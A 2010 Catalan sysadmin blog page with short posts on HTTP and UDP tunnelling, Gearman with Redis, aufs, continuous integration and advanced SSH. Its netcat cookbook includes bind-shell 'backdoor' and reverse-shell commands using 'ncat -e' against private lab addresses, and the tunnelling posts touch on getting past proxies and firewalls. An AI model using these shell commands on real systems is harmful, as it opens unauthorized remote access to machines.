Tag: linux

httptunnel: TCP sobre HTTP

2010/06/20 No hi ha comentaris

Reading time: 2 – 2 minutes

HTTPtunnel logo

Amb httptunnel es poden establir connexions TCP sobre un enllaç HTTP, és a dir, disposem de dues eines el htc i el hts, escencialment el que fa és:

hts: publica un port simulant un servidor HTTP al conectar-hi amb htc ens enviarà cap al HOST:PORT configurats
htc: es conecta a hts usant HTTP i simulant un client HTTP normal (ffx, crhome, ie, etc) però en realitat transporta paquets TCP en el payload de les queries, l’usuari pot conectar-se a un port local que es publica i que permet accedir al HOST:PORT al que ha conectat hts de forma transparent

Per fer una prova de concepte jo el que he fet és conectar el hts amb un servidor VNC, al costat del htc he connectat un client VNC i he accedit al VNC de forma totalment transparent, a més amb un sniffer he comprovat que els paquets que passeben per la xarxa eren paquets HTTP estàndards, i així era. Tan senzill com això:

server:
./hts -w -F 127.0.0.1:5900 1080

client:
./htc -F 2300 server:1080
vinagre localhost:2300

A més també suporta la possibilitat de fer-ho a través d’un proxy, això si aquest només esta suportat si és sense autenticació o amb autenticació bàsica. Així doncs, a partir d’això em venen al cap algunes millores interessants:

suportar autenticació Digest i NTLM.
permetre accés al tunel via stdin/stdout (així ho podriem usar amb SSH com a ProxyCommand).
poder connectar-se a un segon proxy en l’extrem remot, és a dir, hts no té l’enllaç pre-establert.
suportar SSL, així ens estalbiariem haver d’usar stunnel per simular HTTPs.

Somiant amb una extenció pel Gearman

2010/06/16 No hi ha comentaris

Reading time: 5 – 8 minutes

Cal dir que no sóc massa ordenat al presentar noves tecnologies ja que primer de tot vaig fer un bechmark sobre Gearman abans de fer-ne una introducció, doncs bé com que en aquest article vull parlar sobre unes possibles extensions sobre les que vull treballar amb Gearman primer de tot faré una petit introducció al projecte.

Introducció

Gearman és el que comunment anomenem un servidor de tasques, o sigui, que quan el nostre codi ha de demanar una tasca, funcionalitat, treball, o quelcom similar és molt interessant de cara a:

l’escalavilitat: podem tenir tants servidors i/o processos consumint tasques com ens interessi.
paral·lelisme: les tasques es poden consumir paral·lelament.
balanceix de càrrega: podem fer map/reduce sobre les tasques i enviar-les als servidors que ens interessis per distribuir la càrrega.
independència entre lleguatges: el codi que demana la tasca i el que consumeix la tasca poden ser totalment diferents, les llibreries que té Gearman són: PHP, Pearl, Ruby, C, Python, etc.
interficie HTTP: a més disposa d’una interficie client HTTP que ens permetra injectar tasques desde llenguatges no suportats des de les llibreries de Gearman.

usar un servidor d’aquest tipus, ja que a més de permetrens demanar tasques síncrones, també podem demanar-li tasques asíncrones. O sigui, que no només no sabem qui ens esta fent la feina limitant-nos a rebre’n el resultat sinó que també podem demanar que aquesta feina es faci quan es pugui.

Per si tot això no fos poc encara hi ha més avantatges:

Open Source
Programat en C
Petit i molt ràpid
Suporta diversos backends: RAM, SQLite, Memcached, Tokyo Cabinet, etc.

gearman stack

La gent que va començar a implementar Gearman, van ser els de Danga Interactive famosos per LiveJournal i SixApart.

Les meves idees

Després d’aquesta introducció, ara ja puc parlar de les coses que voldria que fes Gearman però que no fa. Primer de tot he de parlar de les avantatges que tindria si pogués tenir un backend contra Redis. El que persegueixo al connectar Redis amb Gearman és aconseguir:

persistència de tasques malgrat es reiniciï Gearman
persistència de tasques en disc malgrat es reinciï Redis, gràcies a:
- l’escriptura asíncrona a disc
- bgrewriteaof: evita que per l’escriptura asíncrona d’informació es perdin dades al reinciar bruscament Redis
publicar a un canal PubSub de Redis els canvis que es fan sobre una tasca que s’ha enviat a ‘background’

Integració amb Redis

Es tracata de fer el mateix que s’ha per integrar backend de tokyo cabinet: queue_libtokyocabinet.c el problema d’usar tokyo cabinet contra disc és la pèrdua brutal de rendiment respecte a usar-lo contra RAM, ja que les escriptures es fan de forma síncrona.

A nivell de codi les semblances més grans són amb: queue_libmemcached.c, malgrat el problema que té aquesta implementació és que cada cop que reiniciem memcached no tenim persistència de la informació que s’havia guardat en memcached, és com si les claus que s’han intrudit en l’anterior sessió s’haguessin esborrat. A més memcached no suporta persistència en les seves dades tampoc.

Així doncs, el que cal fer és agafar el millor d’amdues integracions i fer el mòdul amb Redis.

Subscripció a les actualitzacions d’una tasca via Redis

Quan s’envia una tasca en segon pla a Gearman aquest ens retorna un ‘Handler’ per poder preguntar sobre l’estat de la tasca, el problema és que si volem saber com evoluciona la tasca o que ens informi quan ha acabat no hi ha manera de saber-ho si no és fent ‘pooling’. Per altre banda, el ‘worker’ va actualitzant la tasca cada quan creu convenien perquè Gearman pugui saber quin és l’estat de la mateixa.

La meva idea és que al usar el backend de Redis, al mateix moment que s’actualitzi l’estat de la tasca també es publiqui (publish) a un canal PubSub de Redis de forma que el codi que ha enviat la tasca pugui subscriures (subscribe) a aquest canal i en temps real i amb un cost de recursos baixíssim es pugui seguir l’estat de la tasca. Això ens evitaria la necessitat de que Gearman hagués de poder cridar un mètode de callback per informar-nos de l’estat de la mateixa, ja que hi ha alguns llenguatges en que fer això no és tan senzill.

En el gràfic que enganxo a continuació podem veure un esquema que he fet sobre això:

esquema idees de Gearman amb Redis

1) el nostre codi envia una tasca en ‘background’ (segon pla) a Gearman i aquest li torna un ‘Handler’ per identificar la tasca.

2) es guarda la tasca a Redis (set)

3) el nostre codi es subscriu al canal PubSub de la tasca

4) un worker demana la tasca

5) es publica l’estat de la tasca

6) es va actualitzant l’estat de la tasca

7) es van repetint els punts (5) i (6) fins acabar la tasca

Feedback

Com sempre s’accepten tota mena de crítiques i idees sobre la meva ‘paranoia’.

netcat – cookbook

2010/05/31 No hi ha comentaris

Reading time: 2 – 3 minutes

client TCP, en aquest cas HTTP

C:\client>ncat google.com 80
GET / HTTP/1.1

client telnet:

C:\client>ncat -t 192.168.1.1 23

simula un servidor TCP/HTTP molt simple:

C:\server>ncat -l 127.0.0.1 80 < stuff.txt
C:\client>ncat localhost 80

C:\server>ncat -l --keep-open 80 < stuff.txt
C:\client>ncat localhost 80

servidor UDP:

C:\server>ncat -l 74 --udp
C:\client>ncat --udp localhost 74 < stuff.txt

es pot especificar el port i IP origen a usar:

C:\client>ncat www.irongeek.com 80 -p 80 -s 127.0.0.1
C:\client>ncat www.irongeek.com 80 -p 80 -s 192.168.1.1

interconnecta clients, ‘proxy-tcp’

C:\server>ncat -l 74
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

C:\server>ncat -l 74 --broker
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

servidor de ‘chat’ molt simple

C:\server>ncat -l 74 --chat
C:\client1>ncat localhost 74
C:\client2>ncat localhost 74

client TCP+SSL:

C:\client>ncat gmail.google.com 443 --ssl
GET / HTTP/1.1

transmissió de fitxers via TCP+SSL:

C:\server>ncat.exe -l --ssl 74 --send-only < ncat.exe
C:\client>ncat localhost 74 --ssl > out2.exe
(ends self)

C:\client>ncat --ssl -vvv -l > newfile
C:\server>ncat -v --send-only --ssl localhost < ncat.exe
(Good for getting around NAT)

proxy molt simple:

C:\ncat>ncat -l 8080 --proxy-type http --proxy-auth adc:test --ssl

shell amb backdoor:

Linux:

ncat -l 23 -e /bin/sh
C:\server>ncat 192.168.159.128 23

Windows:

C:\server>ncat -l 23 -e cmd
ncat 192.168.159.129 23

Reverse Shell (aka: Shovel Shell)

C:\server>ncat -l 74
C:\client>ncat 192.168.159.128 74 -e cmd

netcat relay

C:\ncat>ncat -l localhost 80 --sh-exec "ncat google.com 80 -o text.txt -x hex.txt"

Aufs – la evolució del unionfs

2010/05/31 No hi ha comentaris

Reading time: 2 – 2 minutes

En les properes setamenes hauré de tornar-me a posar les piles amb els sistemes de fitxers COW(Copy-On-Write), ja havia jugat molt amb unionfs per tal de montar un player linux de digital signage fa uns 2 anys. Però ara estic fent una integració amb MeeGo que porta per defecte el sistema de fitxers BRTFS el qual presenta moltíssimes diferencies en comparació a un sistema de fitxers amb journaling normal com podria ser ext3 i ext4.

La qüestió és que em cal intentar assegurar el bon funcionament d’un sistema operatiu a cada arrencada i havia pensat que potser això podia ser una bona idea, bé ja aniré explicant els resultats del experiments quan toquin. Ara només volia avançar-vos algunes de les funcionalitats i millores que suposa aufs respecte unionfs.

permet unir diferents directoris en un directori virtual nou, a cada directori se l’anomenarà una ‘branch’
a cada ‘branch’ li podem especificar una ‘flag’ diferent: ‘readonly’, ‘readwrite’ i ‘whiteout-able’
gràcies a al nou directori virtual podem simular la capacitat de modificar, afegir i borrar elements en un directori de només lectura
suporta la capacitat d’afegir/treure ‘branch’ d’un directori virtual en calent

La llista de funcionalitats és força més llarga però el més important és que el nou aufs és molt més ràpid i confiable que el unionfs.

Integració continua: buildbot + codespeed + guppy-pe + resource

2010/04/22 No hi ha comentaris

Reading time: 3 – 4 minutes

Degut a un requeriment que teniem a la feina he montat un entorn d’integració continua. En escència el que es busca és el següent:

Llençar de forma automàtica tests sobre els commits que es fan al codi (buildbot)
Tenir un repositori dels resultats dels tests fàcil de consultar (web) (buildbot)
Suportar tests sobre rendiment (profiling) automàtics (guppy-pe + resource)
Poder comprovar quina és l’evolució d’aquests tests de rendiment amb una eina visual (codespeed)

Per tal d’aconseguir aquests objectius s’ha usat:

buildbot: que permet automatitzar l’entorn de compilació i testeix dels commits que es van fent al repositori. (esta programat en python). Per entendre millor buildbot, ús recomano llegir l’apartat: system architecure del seu manual.
codespeed: és una eina feta amb python+django+mysql a través d’una interficie HTTP+JSON pot injectar informació a la BBDD i a través de la GUI ens mostra:
- overview: a través d’una taula mostra les tendències dels resultats dels benchmark associats a un executable.
- timeline: mostra en una gràfica l’evolució dels resultats arxivats sobre un benchmark concret fets sobre un host.
guppy-pe: ens permet extreure dades referents als recursos de sistema que esta consumint una part del codi: classe, funció, variable, etc.
resource: és un módul de python que permet saber (resource.getrusage(PID)) quins recursos esta consumint un PID en un moment donat.

Com que la documentació que he fet per la feina l’he hagut de filtrar per no revelar informació interna, la documentació que publico esta en format OpenOffice i PDF perquè sigui senzill per tothom llegir-la i modificar-la si vol.

Paquet .tar.gz, conté:
- fitxer de configuració buildbot, master.cfg
- codi d’exemple per provar l’entorn, buildbot-test
- codi del tobami-codespeed modificat perquè sigui més generalista que la versió original
- integracion-continua-instalacion.odt: document amb notes sobre els procediments que he seguit per la instal·lació de tot plegat.
- integracion-continua-manual.odt: manual d’usuari de tot plegat. (també la versió en pdf)
integracion-continua-manual.pdf: enllaço de forma directa aquest manual per si hi voleu donar un cop d’ull per saber si ús interessa el tema.

Enllaços relacionats:

dues versions de python en un host

2010/04/21 1 comentari

Reading time: < 1 minute A vegades cal fer algún invent extrany amb el python, com per exemple, el haver de tenir dues versions instal·lades. Sovint la nostre distribució ja portarà una versió del mateix i a més moltes eines de les distribucions acostumen a anar lligades a aquesta versió que millor no malmetre. Cookbook d'ordres per instal·lar un python 2.6.5 a més del 2.4.3 que ja portava el host:

cd /var/tmp
wget http://python.org/ftp/python/2.6.5/Python-2.6.5.tar.bz2
tar xvfj Python-2.6.5.tar.bz2
cd Python-2.6.5
./configure –prefix=/usr
make
make altinstall

si ara fem:

# python -V
Python 2.4.3
# python2.4 -V
Python 2.4.3
# python2.6 -V
Python 2.6.5

UDPTunnel – enviar els paquets UDP per sobre d’enllaços TCP

2010/03/19 No hi ha comentaris

Reading time: < 1 minute Una altre d'aquelles eines que malgrat ser petitones i rares poden servir per fer mil i una coses. Per exemple, connectar a un servidor DNS a través d'un port TCP en una xarxa on el tràfic UDP estigui tancat. UDPTunnel és una eina molt simple d’usar i la seva sintaxis és molt autoexplicativa:

 udptunnel -s TCP-port [-r] [-v] UDP-addr/UDP-port[/ttl]
 udptunnel -c TCP-addr[/TCP-port] [-r] [-v] UDP-addr/UDP-port[/ttl]

és interessant fixar-se que el mateix executable pot ser usat com a servidor o com a client, així doncs ideal per construir els dos costats de l’enllaç de forma simple.
A més si ho combinem amb httptunnel podem passar per sobre de proxies de forma senzilla.

Podcast 2×04: SSH avançat

2010/03/12 No hi ha comentaris

Reading time: 3 – 5 minutes

El podcast

[display_podcast]

Notes sobre el podcast

-L: connecta per SSH a un HOST Un cop allà obre una connexió TCP a un altre HOST:PORT i obre un port TCP local que al connectar-hi ens envia al HOST:PORT anteriors, o sigui, portforwarding.
- -L [bind_address:]port:host:hostport]
-W: connecta per SSH a un HOST un cop allà obre una connexió TCP a un altre HOST:PORT i ens retorna a la stdin/stdout el contingut d’aquest darrer enllaç TCP
- -W host:hostport
-R publicar un port: connecta per SSH a un host i un cop allà publica un port TCP, quan un client es connecta a aquest port TCP accedeix per SSH a la màquina que ha llença l’enllaç SSH i obre un altre enllaç TCP a una altre IP:PORT.
- -R[bind_address:]port:host:hostport
-D socks5: connecta per SSH a un HOST i després publica un port SOCKS5/TCP, és a dir, que podem connectar a aquest port local i sortir a internet a través de la IP del HOST on hem connectat per SSH
- -D [bind_address:]port
-w tunel: connecta per SSH a un HOST i el socket que s’ha usat per fer l’enllaç SSH es connecta a dues interficies de tipus TUN, una a cada extrem del socket. Així doncs, si configurem les corresponents IPs a les interficies TUN tenim un tunel/VPN montada entre els extrems.
- -w local_tun[:remote_tun]

HPN-SSH

La web de: HPN-SSH -> especialment interessant: Dynamic Windows and None Cipher

treballa amb mida de finestra dinàmica
treballa sense xifrat quan un enllaç no té terminal associat, sovint usat per pas de fitxers

Les proves:

Openssh 5.3p1 + hpn-13 (només el patch: Dynamic Windows and None Cipher)
després d’aplicar el patch: openssh5.3-dynwindow_noneswitch.diff.gz

modifiquem el fitxer: sshconnect2.c

linia: 366
- 		if (!tty_flag) /* no null on tty sessions */
+ 		if (1) /* no null on tty sessions */

així podem fer SSH sense xifrar només després d’haver fet el login.

exemple ampla de banada d’un SSH amb xifrat aes128-ctr, usant finestra dinàmica:

scp -v -oNoneEnabled=no -oNoneSwitch=yes fitxer root@127.0.0.1:/tmp/ssh
o
ssh -v -oNoneEnabled=no -oNoneSwitch=yes root@127.0.0.1 "dd if=/dev/zero"|pv > /dev/null

velocitat de transferència:  13.7MB/s

debug ciphers, una única negociació de ciphers:

debug1: AUTH STATE IS 0
debug1: REQUESTED ENC.NAME is 'aes128-ctr'
debug1: kex: server->client aes128-ctr hmac-md5 none
debug1: REQUESTED ENC.NAME is 'aes128-ctr'
debug1: kex: client->server aes128-ctr hmac-md5 none

exemple sense xifrat, usant finestra dinàmica:

scp -v -oNoneEnabled=yes -oNoneSwitch=yes fitxer root@127.0.0.1:/tmp/ssh
o
ssh -v -oNoneEnabled=yes -oNoneSwitch=yes root@127.0.0.1 "dd if=/dev/zero"|pv > /dev/null

velocitat de transferència:  37.4MB/s

abans del pass de login:

debug1: AUTH STATE IS 0
debug1: REQUESTED ENC.NAME is 'aes128-ctr'
debug1: kex: server->client aes128-ctr hmac-md5 none
debug1: REQUESTED ENC.NAME is 'aes128-ctr'
debug1: kex: client->server aes128-ctr hmac-md5 none

després d’autenticar-se:

debug1: AUTH STATE IS 1
debug1: REQUESTED ENC.NAME is 'none'
debug1: Requesting NONE. Authflag is 1
debug1: None requested post authentication.
debug1: kex: server->client none hmac-md5 none
debug1: REQUESTED ENC.NAME is 'none'
debug1: Requesting NONE. Authflag is 1
debug1: None requested post authentication.
debug1: kex: client->server none hmac-md5 none

reDuh: TCP sobre HTTP

2010/03/08 No hi ha comentaris

Reading time: 1 – 2 minutes

La idea es força simple es tracta de transportar un fluxe TCP sobre d’una connexió HTTP convencional, fiexeu-vos que en aquest cas no estem parlant de proxies ni similars. Sinó de paquets TCP+HTTP que en la part de dades del HTTP tornen a implementar TCP, si fessim un petit esquema seria algo així:

+----+----+------+------+-----+------+
|... | IP | TCP | HTTP | TCP | DATA |
+----+----+------+------+-----+------+

Si realment teniu aquest interés montar reDuh és realment senzill, de fet, suporta servidors amb JSP, PHP i ASP. En escència l’únic que fa és usar aquests protocols per re-obrir una connexió TCP. Així doncs, al servidor on montem aquesta eina hem de tenir certs privilegis per poder obrir sockets des d’un script.
L’eina no és massa recomanable si pensem tenir fluxes de dades molt intensos, per exemple, senssions VNC. Però funciona prou bé si el que volem és transportar una sessió SSH o similar.

Terminals via Web (CLI via Web)

2010/03/05 2 comentaris

Reading time: 2 – 2 minutes

UPDATE 2017/1/18: I just discovered Wetty which is by far the best option that I found to have a Web Terminal completely easy to use and compatible with Linux terminals. I highly recommend it.

En l’article sobre Turnkey Linux vaig parlar sobre shellinabox, doncs bé per coses de l’atzar he descobert que no és l’únic sistema que preten donar accés a una sessió de shell a través d’una pàgina web.

De fet, les tres eines que he trobat són realment bones, així doncs si algú en sap alguna cosa més sobre elles que m’ho digui perquè no sé amb quina quedar-me:

shellinabox: emula un terminal VT100 i es llença com un dimoni que dona accés al host local a través del port que escollim, pot treballar amb o sense SSL.
- prova’l
ANYTerm: també suporta SSL però treballa a través d’Apache recolzant-se amb mod_proxy.
- prova’l
AJAXTerm: inspirat en ANYTerm però molt més simple d’instal·lar, ja que només depèn de python, o sigui, que treballa com a dimoni en el sistema on volem tenir la shell.
- prova’l